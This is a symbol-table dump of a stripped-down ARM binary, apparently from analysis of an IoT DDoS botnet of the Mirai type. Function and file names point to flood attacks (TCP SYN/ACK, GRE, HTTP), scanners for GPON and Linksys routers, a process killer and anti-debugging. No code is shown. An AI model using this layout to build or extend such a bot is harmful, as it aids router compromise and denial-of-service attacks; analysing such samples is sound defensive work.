__div0	.symtab	0x10278	20	FUNC	<unknown>	HIDDEN	2
__divsi3	.symtab	0x10134	300	FUNC	<unknown>	HIDDEN	2
__do_global_dtors_aux	.symtab	0x80f0	0	FUNC	<unknown>	DEFAULT	2
__do_global_dtors_aux_fini_array_entry	.symtab	0x22060	0	OBJECT	<unknown>	DEFAULT	10
__end__	.symtab	0x25498	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__environ	.symtab	0x22944	4	OBJECT	<unknown>	DEFAULT	14
__errno_location	.symtab	0x10b84	32	FUNC	<unknown>	DEFAULT	2
__errno_location.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__exidx_end	.symtab	0x1a058	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exidx_start	.symtab	0x19f40	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
__exit_cleanup	.symtab	0x223f4	4	OBJECT	<unknown>	HIDDEN	14
__fcntl_nocancel	.symtab	0x1028c	152	FUNC	<unknown>	DEFAULT	2
__fgetc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	DEFAULT	2
__fini_array_end	.symtab	0x22064	0	NOTYPE	<unknown>	HIDDEN	10
__fini_array_start	.symtab	0x22060	0	NOTYPE	<unknown>	HIDDEN	10
__fork	.symtab	0x1386c	972	FUNC	<unknown>	DEFAULT	2
__fork_generation_pointer	.symtab	0x25464	4	OBJECT	<unknown>	HIDDEN	14
__fork_handlers	.symtab	0x25468	4	OBJECT	<unknown>	HIDDEN	14
__fork_lock	.symtab	0x223f8	4	OBJECT	<unknown>	HIDDEN	14
__frame_dummy_init_array_entry	.symtab	0x2205c	0	OBJECT	<unknown>	DEFAULT	9
__getdents	.symtab	0x14aac	160	FUNC	<unknown>	HIDDEN	2
__getdents64	.symtab	0x17650	328	FUNC	<unknown>	HIDDEN	2
__getpagesize	.symtab	0x14bb4	40	FUNC	<unknown>	DEFAULT	2
__getpid	.symtab	0x13cd0	72	FUNC	<unknown>	DEFAULT	2
__gnu_Unwind_Find_exidx	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__gnu_Unwind_ForcedUnwind	.symtab	0x17f7c	28	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_RaiseException	.symtab	0x18064	184	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Restore_VFP	.symtab	0x187fc	0	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume	.symtab	0x17ff8	108	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Resume_or_Rethrow	.symtab	0x1811c	32	FUNC	<unknown>	HIDDEN	2
__gnu_Unwind_Save_VFP	.symtab	0x18804	0	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_execute	.symtab	0x188e0	1812	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_frame	.symtab	0x18ff4	72	FUNC	<unknown>	HIDDEN	2
__gnu_unwind_pr_common	.symtab	0x18280	1352	FUNC	<unknown>	DEFAULT	2
__h_errno_location	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__init_array_end	.symtab	0x22060	0	NOTYPE	<unknown>	HIDDEN	9
__init_array_start	.symtab	0x2205c	0	NOTYPE	<unknown>	HIDDEN	9
__libc_accept	.symtab	0x10df4	116	FUNC	<unknown>	DEFAULT	2
__libc_close	.symtab	0x13f60	100	FUNC	<unknown>	DEFAULT	2
__libc_connect	.symtab	0x10ef0	116	FUNC	<unknown>	DEFAULT	2
__libc_disable_asynccancel	.symtab	0x14180	136	FUNC	<unknown>	HIDDEN	2
__libc_enable_asynccancel	.symtab	0x14208	220	FUNC	<unknown>	HIDDEN	2
__libc_errno	.symtab	0x0	4	TLS	<unknown>	HIDDEN	8
__libc_fcntl	.symtab	0x10324	244	FUNC	<unknown>	DEFAULT	2
__libc_fork	.symtab	0x1386c	972	FUNC	<unknown>	DEFAULT	2
__libc_h_errno	.symtab	0x4	4	TLS	<unknown>	HIDDEN	8
__libc_multiple_threads	.symtab	0x2546c	4	OBJECT	<unknown>	HIDDEN	14
__libc_nanosleep	.symtab	0x14d2c	96	FUNC	<unknown>	DEFAULT	2
__libc_open	.symtab	0x13ff0	100	FUNC	<unknown>	DEFAULT	2
__libc_read	.symtab	0x14110	100	FUNC	<unknown>	DEFAULT	2
__libc_recv	.symtab	0x11074	112	FUNC	<unknown>	DEFAULT	2
__libc_recvfrom	.symtab	0x1112c	136	FUNC	<unknown>	DEFAULT	2
__libc_select	.symtab	0x105c8	132	FUNC	<unknown>	DEFAULT	2
__libc_send	.symtab	0x111f8	112	FUNC	<unknown>	DEFAULT	2
__libc_sendto	.symtab	0x112b4	136	FUNC	<unknown>	DEFAULT	2
__libc_setup_tls	.symtab	0x17320	560	FUNC	<unknown>	DEFAULT	2
__libc_sigaction	.symtab	0x148e4	136	FUNC	<unknown>	DEFAULT	2
__libc_stack_end	.symtab	0x22940	4	OBJECT	<unknown>	DEFAULT	14
__libc_write	.symtab	0x14080	100	FUNC	<unknown>	DEFAULT	2
__lll_lock_wait_private	.symtab	0x13c38	152	FUNC	<unknown>	HIDDEN	2
__malloc_consolidate	.symtab	0x124bc	436	FUNC	<unknown>	HIDDEN	2
__malloc_largebin_index	.symtab	0x1155c	120	FUNC	<unknown>	DEFAULT	2
__malloc_lock	.symtab	0x22150	24	OBJECT	<unknown>	DEFAULT	13
__malloc_state	.symtab	0x250ec	888	OBJECT	<unknown>	DEFAULT	14
__malloc_trim	.symtab	0x1240c	176	FUNC	<unknown>	DEFAULT	2
__nptl_deallocate_tsd	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__nptl_nthreads	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__open	.symtab	0x13ff0	100	FUNC	<unknown>	DEFAULT	2
__open_nocancel	.symtab	0x13fd4	24	FUNC	<unknown>	DEFAULT	2
__pagesize	.symtab	0x22948	4	OBJECT	<unknown>	DEFAULT	14
__preinit_array_end	.symtab	0x2205c	0	NOTYPE	<unknown>	HIDDEN	8
__preinit_array_start	.symtab	0x2205c	0	NOTYPE	<unknown>	HIDDEN	8
__progname	.symtab	0x22248	4	OBJECT	<unknown>	DEFAULT	13
__progname_full	.symtab	0x2224c	4	OBJECT	<unknown>	DEFAULT	13
__pthread_initialize_minimal	.symtab	0x17550	12	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_init	.symtab	0x142ec	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_lock	.symtab	0x142e4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_trylock	.symtab	0x142e4	8	FUNC	<unknown>	DEFAULT	2
__pthread_mutex_unlock	.symtab	0x142e4	8	FUNC	<unknown>	DEFAULT	2
__pthread_return_0	.symtab	0x142e4	8	FUNC	<unknown>	DEFAULT	2
__pthread_unwind	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__read	.symtab	0x14110	100	FUNC	<unknown>	DEFAULT	2
__read_nocancel	.symtab	0x140f4	24	FUNC	<unknown>	DEFAULT	2
__register_frame_info	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
__restore_core_regs	.symtab	0x187e0	28	FUNC	<unknown>	HIDDEN	2
__rtld_fini	.symtab	0x22950	4	OBJECT	<unknown>	HIDDEN	14
__sigaddset	.symtab	0x11514	36	FUNC	<unknown>	DEFAULT	2
__sigdelset	.symtab	0x11538	36	FUNC	<unknown>	DEFAULT	2
__sigismember	.symtab	0x114f0	36	FUNC	<unknown>	DEFAULT	2
__sigjmp_save	.symtab	0x17a74	64	FUNC	<unknown>	HIDDEN	2
__sigsetjmp	.symtab	0x17644	12	FUNC	<unknown>	DEFAULT	2
__stdin	.symtab	0x22268	4	OBJECT	<unknown>	DEFAULT	13
__stdio_READ	.symtab	0x17798	88	FUNC	<unknown>	HIDDEN	2
__stdio_WRITE	.symtab	0x177f0	220	FUNC	<unknown>	HIDDEN	2
__stdio_rfill	.symtab	0x178cc	48	FUNC	<unknown>	HIDDEN	2
__stdio_trans2r_o	.symtab	0x178fc	164	FUNC	<unknown>	HIDDEN	2
__stdio_wcommit	.symtab	0x15da8	48	FUNC	<unknown>	HIDDEN	2
__stdout	.symtab	0x2226c	4	OBJECT	<unknown>	DEFAULT	13
__sys_accept	.symtab	0x10db0	68	FUNC	<unknown>	DEFAULT	2
__sys_connect	.symtab	0x10eac	68	FUNC	<unknown>	DEFAULT	2
__sys_recv	.symtab	0x11030	68	FUNC	<unknown>	DEFAULT	2
__sys_recvfrom	.symtab	0x110e4	72	FUNC	<unknown>	DEFAULT	2
__sys_send	.symtab	0x111b4	68	FUNC	<unknown>	DEFAULT	2
__sys_sendto	.symtab	0x11268	76	FUNC	<unknown>	DEFAULT	2
__syscall_error	.symtab	0x148b8	44	FUNC	<unknown>	HIDDEN	2
__syscall_error.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_fcntl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_nanosleep	.symtab	0x14cec	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction	.symtab	0x149a0	64	FUNC	<unknown>	DEFAULT	2
__syscall_rt_sigaction.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__syscall_select	.symtab	0x10584	68	FUNC	<unknown>	DEFAULT	2
__tls_get_addr	.symtab	0x172fc	36	FUNC	<unknown>	DEFAULT	2
__uClibc_fini	.symtab	0x14328	124	FUNC	<unknown>	DEFAULT	2
__uClibc_init	.symtab	0x143f8	88	FUNC	<unknown>	DEFAULT	2
__uClibc_main	.symtab	0x14450	1004	FUNC	<unknown>	DEFAULT	2
__uClibc_main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__uclibc_progname	.symtab	0x22244	4	OBJECT	<unknown>	HIDDEN	13
__udivsi3	.symtab	0x10020	252	FUNC	<unknown>	HIDDEN	2
__write	.symtab	0x14080	100	FUNC	<unknown>	DEFAULT	2
__write_nocancel	.symtab	0x14064	24	FUNC	<unknown>	DEFAULT	2
__xstat32_conv	.symtab	0x14ed8	172	FUNC	<unknown>	HIDDEN	2
__xstat64_conv	.symtab	0x14e0c	204	FUNC	<unknown>	HIDDEN	2
_bss_end__	.symtab	0x25498	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_dl_aux_init	.symtab	0x1755c	56	FUNC	<unknown>	DEFAULT	2
_dl_nothread_init_static_tls	.symtab	0x17594	88	FUNC	<unknown>	HIDDEN	2
_dl_phdr	.symtab	0x25490	4	OBJECT	<unknown>	DEFAULT	14
_dl_phnum	.symtab	0x25494	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_gaps	.symtab	0x25484	1	OBJECT	<unknown>	DEFAULT	14
_dl_tls_dtv_slotinfo_list	.symtab	0x25480	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_generation	.symtab	0x25488	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_max_dtv_idx	.symtab	0x25478	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_setup	.symtab	0x17294	104	FUNC	<unknown>	DEFAULT	2
_dl_tls_static_align	.symtab	0x25474	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_nelem	.symtab	0x2548c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_size	.symtab	0x2547c	4	OBJECT	<unknown>	DEFAULT	14
_dl_tls_static_used	.symtab	0x25470	4	OBJECT	<unknown>	DEFAULT	14
_edata	.symtab	0x22340	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_end	.symtab	0x25498	0	NOTYPE	<unknown>	DEFAULT	SHN_ABS
_exit	.symtab	0x149e0	104	FUNC	<unknown>	DEFAULT	2
_exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_fini	.symtab	0x19070	0	FUNC	<unknown>	DEFAULT	3
_fixed_buffers	.symtab	0x22974	8192	OBJECT	<unknown>	DEFAULT	14
_fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_init	.symtab	0x80d4	0	FUNC	<unknown>	DEFAULT	1
_memcpy	.symtab	0x16860	0	FUNC	<unknown>	HIDDEN	2
_pthread_cleanup_pop_restore	.symtab	0x142fc	44	FUNC	<unknown>	DEFAULT	2
_pthread_cleanup_push_defer	.symtab	0x142f4	8	FUNC	<unknown>	DEFAULT	2
_rfill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_setjmp	.symtab	0x1496c	8	FUNC	<unknown>	DEFAULT	2
_sigintr	.symtab	0x250e4	8	OBJECT	<unknown>	HIDDEN	14
_start	.symtab	0x8194	0	FUNC	<unknown>	DEFAULT	2
_stdio.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_stdio_fopen	.symtab	0x15764	1120	FUNC	<unknown>	HIDDEN	2
_stdio_init	.symtab	0x15bc4	128	FUNC	<unknown>	HIDDEN	2
_stdio_openlist	.symtab	0x22270	4	OBJECT	<unknown>	DEFAULT	13
_stdio_openlist_add_lock	.symtab	0x22954	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_dec_use	.symtab	0x16038	688	FUNC	<unknown>	HIDDEN	2
_stdio_openlist_del_count	.symtab	0x22970	4	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_del_lock	.symtab	0x22960	12	OBJECT	<unknown>	DEFAULT	14
_stdio_openlist_use_count	.symtab	0x2296c	4	OBJECT	<unknown>	DEFAULT	14
_stdio_streams	.symtab	0x22274	204	OBJECT	<unknown>	DEFAULT	13
_stdio_term	.symtab	0x15c44	356	FUNC	<unknown>	HIDDEN	2
_stdio_user_locking	.symtab	0x22258	4	OBJECT	<unknown>	DEFAULT	13
_trans2r.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_wcommit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
abort	.symtab	0x128ec	296	FUNC	<unknown>	DEFAULT	2
abort.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
accept	.symtab	0x10df4	116	FUNC	<unknown>	DEFAULT	2
accept.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
anti_gdb_entry	.symtab	0xe108	24	FUNC	<unknown>	DEFAULT	2
attack.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_app_http	.symtab	0x81d0	7808	FUNC	<unknown>	DEFAULT	2
attack_get_opt_int	.symtab	0xa430	112	FUNC	<unknown>	DEFAULT	2
attack_get_opt_ip	.symtab	0xa3c4	108	FUNC	<unknown>	DEFAULT	2
attack_get_opt_str	.symtab	0xa050	92	FUNC	<unknown>	DEFAULT	2
attack_gre.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_gre_tcpfrag	.symtab	0xa654	1708	FUNC	<unknown>	DEFAULT	2
attack_init	.symtab	0xa4a0	436	FUNC	<unknown>	DEFAULT	2
attack_method.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_method_std	.symtab	0xad00	672	FUNC	<unknown>	DEFAULT	2
attack_parse	.symtab	0xa1a8	540	FUNC	<unknown>	DEFAULT	2
attack_start	.symtab	0xa0ac	252	FUNC	<unknown>	DEFAULT	2
attack_tcp.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
attack_tcp_ack	.symtab	0xafa0	1784	FUNC	<unknown>	DEFAULT	2
attack_tcp_syn	.symtab	0xb698	1708	FUNC	<unknown>	DEFAULT	2
been_there_done_that	.symtab	0x223f0	4	OBJECT	<unknown>	DEFAULT	14
bind	.symtab	0x10e68	68	FUNC	<unknown>	DEFAULT	2
bind.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
brk	.symtab	0x175ec	88	FUNC	<unknown>	DEFAULT	2
brk.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
bsd_signal	.symtab	0x1142c	196	FUNC	<unknown>	DEFAULT	2
calloc	.symtab	0x11f0c	320	FUNC	<unknown>	DEFAULT	2
calloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
checksum_generic	.symtab	0xbd44	80	FUNC	<unknown>	DEFAULT	2
checksum_tcpudp	.symtab	0xbd94	164	FUNC	<unknown>	DEFAULT	2
clock	.symtab	0x10ba4	52	FUNC	<unknown>	DEFAULT	2
clock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
close	.symtab	0x13f60	100	FUNC	<unknown>	DEFAULT	2
closedir	.symtab	0x10748	272	FUNC	<unknown>	DEFAULT	2
closedir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
completed.5105	.symtab	0x22340	1	OBJECT	<unknown>	DEFAULT	14
conn_table	.symtab	0x24eb8	4	OBJECT	<unknown>	DEFAULT	14
connect	.symtab	0x10ef0	116	FUNC	<unknown>	DEFAULT	2
connect.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
crtstuff.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
dl-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
ensure_single_instance	.symtab	0xe144	352	FUNC	<unknown>	DEFAULT	2
environ	.symtab	0x22944	4	OBJECT	<unknown>	DEFAULT	14
errno	.symtab	0x0	4	TLS	<unknown>	DEFAULT	8
errno.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
exit	.symtab	0x13038	196	FUNC	<unknown>	DEFAULT	2
exit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fclose	.symtab	0x15414	816	FUNC	<unknown>	DEFAULT	2
fclose.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fcntl	.symtab	0x10324	244	FUNC	<unknown>	DEFAULT	2
fd_ctrl	.symtab	0x2213c	4	OBJECT	<unknown>	DEFAULT	13
fd_serv	.symtab	0x22140	4	OBJECT	<unknown>	DEFAULT	13
fd_to_DIR	.symtab	0x10858	208	FUNC	<unknown>	DEFAULT	2
fdopendir	.symtab	0x109ec	176	FUNC	<unknown>	DEFAULT	2
fflush_unlocked	.symtab	0x162e8	940	FUNC	<unknown>	DEFAULT	2
fflush_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc	.symtab	0x15dd8	324	FUNC	<unknown>	DEFAULT	2
fgetc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgetc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	DEFAULT	2
fgetc_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets	.symtab	0x15f1c	284	FUNC	<unknown>	DEFAULT	2
fgets.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fgets_unlocked	.symtab	0x167c0	160	FUNC	<unknown>	DEFAULT	2
fgets_unlocked.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fopen	.symtab	0x15744	32	FUNC	<unknown>	DEFAULT	2
fopen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork	.symtab	0x1386c	972	FUNC	<unknown>	DEFAULT	2
fork.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fork_handler_pool	.symtab	0x223fc	1348	OBJECT	<unknown>	DEFAULT	14
frame_dummy	.symtab	0x8134	0	FUNC	<unknown>	DEFAULT	2
free	.symtab	0x12670	572	FUNC	<unknown>	DEFAULT	2
free.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
fstat	.symtab	0x14a48	100	FUNC	<unknown>	DEFAULT	2
fstat.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
get_eit_entry	.symtab	0x17c0c	544	FUNC	<unknown>	DEFAULT	2
getc	.symtab	0x15dd8	324	FUNC	<unknown>	DEFAULT	2
getc_unlocked	.symtab	0x16694	300	FUNC	<unknown>	DEFAULT	2
getdents.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdents64.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getdtablesize	.symtab	0x14b4c	44	FUNC	<unknown>	DEFAULT	2
getdtablesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getegid	.symtab	0x14b78	20	FUNC	<unknown>	DEFAULT	2
getegid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
geteuid	.symtab	0x14b8c	20	FUNC	<unknown>	DEFAULT	2
geteuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getgid	.symtab	0x14ba0	20	FUNC	<unknown>	DEFAULT	2
getgid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpagesize	.symtab	0x14bb4	40	FUNC	<unknown>	DEFAULT	2
getpagesize.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getpid	.symtab	0x13cd0	72	FUNC	<unknown>	DEFAULT	2
getpid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getppid	.symtab	0x10418	20	FUNC	<unknown>	DEFAULT	2
getppid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getrlimit	.symtab	0x14bdc	56	FUNC	<unknown>	DEFAULT	2
getrlimit.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockname	.symtab	0x10f64	68	FUNC	<unknown>	DEFAULT	2
getsockname.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getsockopt	.symtab	0x10fa8	72	FUNC	<unknown>	DEFAULT	2
getsockopt.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gettimeofday	.symtab	0x14c14	64	FUNC	<unknown>	DEFAULT	2
gettimeofday.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
getuid	.symtab	0x14c54	20	FUNC	<unknown>	DEFAULT	2
getuid.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon443.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
gpon443_fake_time	.symtab	0x22394	4	OBJECT	<unknown>	DEFAULT	14
gpon443_kill	.symtab	0xbe38	40	FUNC	<unknown>	DEFAULT	2
gpon443_ranges	.symtab	0x22110	44	OBJECT	<unknown>	DEFAULT	13
gpon443_rsck	.symtab	0x22368	4	OBJECT	<unknown>	DEFAULT	14
gpon443_scanner	.symtab	0xbf38	3008	FUNC	<unknown>	DEFAULT	2
gpon443_scanner_pid	.symtab	0x22364	4	OBJECT	<unknown>	DEFAULT	14
gpon443_scanner_rawpkt	.symtab	0x2236c	40	OBJECT	<unknown>	DEFAULT	14
gpon443_setup_connection	.symtab	0xbe60	216	FUNC	<unknown>	DEFAULT	2
h_errno	.symtab	0x4	4	TLS	<unknown>	DEFAULT	8
index	.symtab	0x16d10	240	FUNC	<unknown>	DEFAULT	2
inet_addr	.symtab	0x10d88	40	FUNC	<unknown>	DEFAULT	2
inet_aton	.symtab	0x17124	248	FUNC	<unknown>	DEFAULT	2
inet_aton.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
inet_makeaddr.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
init_static_tls	.symtab	0x1721c	120	FUNC	<unknown>	DEFAULT	2
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initfini.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
initstate	.symtab	0x12b88	192	FUNC	<unknown>	DEFAULT	2
initstate_r	.symtab	0x12e54	248	FUNC	<unknown>	DEFAULT	2
ioctl	.symtab	0x1042c	224	FUNC	<unknown>	DEFAULT	2
ioctl.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
isatty	.symtab	0x17084	36	FUNC	<unknown>	DEFAULT	2
isatty.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
kill	.symtab	0x1050c	56	FUNC	<unknown>	DEFAULT	2
kill.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
killer_init	.symtab	0xd09c	1372	FUNC	<unknown>	DEFAULT	2
killer_kill	.symtab	0xcaf8	40	FUNC	<unknown>	DEFAULT	2
killer_kill_by_port	.symtab	0xcb20	1404	FUNC	<unknown>	DEFAULT	2
killer_pid	.symtab	0x22398	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath	.symtab	0x24ebc	4	OBJECT	<unknown>	DEFAULT	14
killer_realpath_len	.symtab	0x2239c	4	OBJECT	<unknown>	DEFAULT	14
libc-cancellation.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-lowlevellock.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc-tls.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
libc_multiple_threads.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
linksys_scanner.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
linksysscanner_fake_time	.symtab	0x223d0	4	OBJECT	<unknown>	DEFAULT	14
linksysscanner_rsck	.symtab	0x223a4	4	OBJECT	<unknown>	DEFAULT	14
linksysscanner_scanner_init	.symtab	0xd6f4	2580	FUNC	<unknown>	DEFAULT	2
linksysscanner_scanner_kill	.symtab	0xd5f8	40	FUNC	<unknown>	DEFAULT	2
linksysscanner_scanner_pid	.symtab	0x223a0	4	OBJECT	<unknown>	DEFAULT	14
linksysscanner_scanner_rawpkt	.symtab	0x223a8	40	OBJECT	<unknown>	DEFAULT	14
linksysscanner_setup_connection	.symtab	0xd620	212	FUNC	<unknown>	DEFAULT	2
listen	.symtab	0x10ff0	64	FUNC	<unknown>	DEFAULT	2
listen.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
llseek.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
local_bind.4805	.symtab	0x22148	1	OBJECT	<unknown>	DEFAULT	13
lseek64	.symtab	0x17ab4	112	FUNC	<unknown>	DEFAULT	2
main	.symtab	0xe454	1912	FUNC	<unknown>	DEFAULT	2
main.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc	.symtab	0x115d4	2360	FUNC	<unknown>	DEFAULT	2
malloc.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
malloc_trim	.symtab	0x128ac	64	FUNC	<unknown>	DEFAULT	2
memcpy	.symtab	0x10be0	4	FUNC	<unknown>	DEFAULT	2
memmove	.symtab	0x10bf0	4	FUNC	<unknown>	DEFAULT	2
mempcpy	.symtab	0x179a0	36	FUNC	<unknown>	DEFAULT	2
mempcpy.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
memset	.symtab	0x10c00	156	FUNC	<unknown>	DEFAULT	2
methods	.symtab	0x22360	4	OBJECT	<unknown>	DEFAULT	14
methods_len	.symtab	0x2235c	1	OBJECT	<unknown>	DEFAULT	14
mmap	.symtab	0x1483c	124	FUNC	<unknown>	DEFAULT	2
mmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mremap	.symtab	0x14c68	68	FUNC	<unknown>	DEFAULT	2
mremap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
munmap	.symtab	0x14cac	64	FUNC	<unknown>	DEFAULT	2
munmap.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
mylock	.symtab	0x22168	24	OBJECT	<unknown>	DEFAULT	13
mylock	.symtab	0x22180	24	OBJECT	<unknown>	DEFAULT	13
nanosleep	.symtab	0x14d2c	96	FUNC	<unknown>	DEFAULT	2
nanosleep.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
next_start.1358	.symtab	0x223ec	4	OBJECT	<unknown>	DEFAULT	14
nprocessors_onln	.symtab	0x130fc	332	FUNC	<unknown>	DEFAULT	2
object.5113	.symtab	0x22344	24	OBJECT	<unknown>	DEFAULT	14
open	.symtab	0x13ff0	100	FUNC	<unknown>	DEFAULT	2
opendir	.symtab	0x10928	196	FUNC	<unknown>	DEFAULT	2
opendir.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
parse_config.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
pending_connection	.symtab	0x223d8	1	OBJECT	<unknown>	DEFAULT	14
pr-support.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
program_invocation_name	.symtab	0x2224c	4	OBJECT	<unknown>	DEFAULT	13
program_invocation_short_name	.symtab	0x22248	4	OBJECT	<unknown>	DEFAULT	13
raise	.symtab	0x13d18	240	FUNC	<unknown>	DEFAULT	2
raise.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand	.symtab	0x12a14	24	FUNC	<unknown>	DEFAULT	2
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
rand.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
